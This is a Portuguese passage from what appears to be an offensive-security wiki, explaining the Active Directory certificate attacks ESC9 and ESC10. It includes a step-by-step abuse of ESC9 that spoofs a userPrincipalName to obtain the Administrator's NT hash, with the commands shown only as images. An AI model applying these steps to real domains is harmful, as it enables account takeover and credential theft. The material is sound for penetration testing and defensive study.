## Extensão de Segurança Desativada - ESC9 <a href="#5485" id="5485"></a>
|
|
|
|
### Explicação
|
|
|
|
ESC9 refere-se ao novo valor **`CT_FLAG_NO_SECURITY_EXTENSION`** (`0x80000`) do **`msPKI-Enrollment-Flag`**. Se essa flag estiver definida em um modelo de certificado, a nova extensão de segurança **`szOID_NTDS_CA_SECURITY_EXT`** **não** será incorporada. ESC9 só é útil quando `StrongCertificateBindingEnforcement` está definido como `1` (padrão), já que uma configuração de mapeamento de certificado mais fraca para Kerberos ou Schannel pode ser abusada como ESC10 - sem ESC9 - já que os requisitos serão os mesmos.
|
|
|
|
* `StrongCertificateBindingEnforcement` não definido como `2` (padrão: `1`) ou `CertificateMappingMethods` contém a flag `UPN`
|
|
* Certificado contém a flag `CT_FLAG_NO_SECURITY_EXTENSION` no valor `msPKI-Enrollment-Flag`
|
|
* Certificado especifica qualquer EKU de autenticação do cliente
|
|
* `GenericWrite` sobre qualquer conta A para comprometer qualquer conta B
|
|
|
|
### Abuso
|
|
|
|
Neste caso, `John@corp.local` tem `GenericWrite` sobre `Jane@corp.local`, e queremos comprometer `Administrator@corp.local`. `Jane@corp.local` pode se inscrever no modelo de certificado `ESC9` que especifica a flag `CT_FLAG_NO_SECURITY_EXTENSION` no valor `msPKI-Enrollment-Flag`.
|
|
|
|
Primeiro, obtemos o hash de `Jane` com, por exemplo, Shadow Credentials (usando nosso `GenericWrite`).
|
|
|
|
<figure><img src="../../../.gitbook/assets/image (13) (1) (1) (1) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (22).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
Em seguida, alteramos o `userPrincipalName` de `Jane` para ser `Administrator`. Observe que estamos deixando de fora a parte `@corp.local`.
|
|
|
|
<figure><img src="../../../.gitbook/assets/image (2) (2) (3).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
Isso não é uma violação de restrição, já que o `userPrincipalName` do usuário `Administrator` é `Administrator@corp.local` e não `Administrator`.
|
|
|
|
Agora, solicitamos o modelo de certificado vulnerável `ESC9`. Devemos solicitar o certificado como `Jane`.
|
|
|
|
<figure><img src="../../../.gitbook/assets/image (16) (2).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
Observe que o `userPrincipalName` no certificado é `Administrator` e que o certificado emitido não contém nenhum "object SID".
|
|
|
|
Em seguida, alteramos novamente o `userPrincipalName` de `Jane` para ser algo diferente, como seu `userPrincipalName` original `Jane@corp.local`.
|
|
|
|
<figure><img src="../../../.gitbook/assets/image (24) (2).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
Agora, se tentarmos autenticar com o certificado, receberemos o hash NT do usuário `Administrator@corp.local`. Você precisará adicionar `-domain <domain>` à linha de comando, já que não há domínio especificado no certificado.
|
|
|
|
<figure><img src="../../../.gitbook/assets/image (3) (1) (3).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
## Mapeamentos de Certificado Fracos - ESC10
|
|
|
|
### Explicação
|
|
|
|
ESC10 refere-se a dois valores de chave de registro no controlador de domínio.
|
|
|
|
`HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurityProviders\Schannel` `CertificateMappingMethods`. Valor padrão `0x18` (`0x8 | 0x10`), anteriormente `0x1F`.
|
|
|
|
`HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Kdc` `StrongCertificateBindingEnforcement`. Valor padrão `1`, anteriormente `0`.
|
|
|
|
**Caso 1**
|
|
|
|
`StrongCertificateBindingEnforcement` definido como `0`
|
|
|
|
**Caso 2**
|
|
|
|
`CertificateMappingMethods` contém o bit `UPN`
|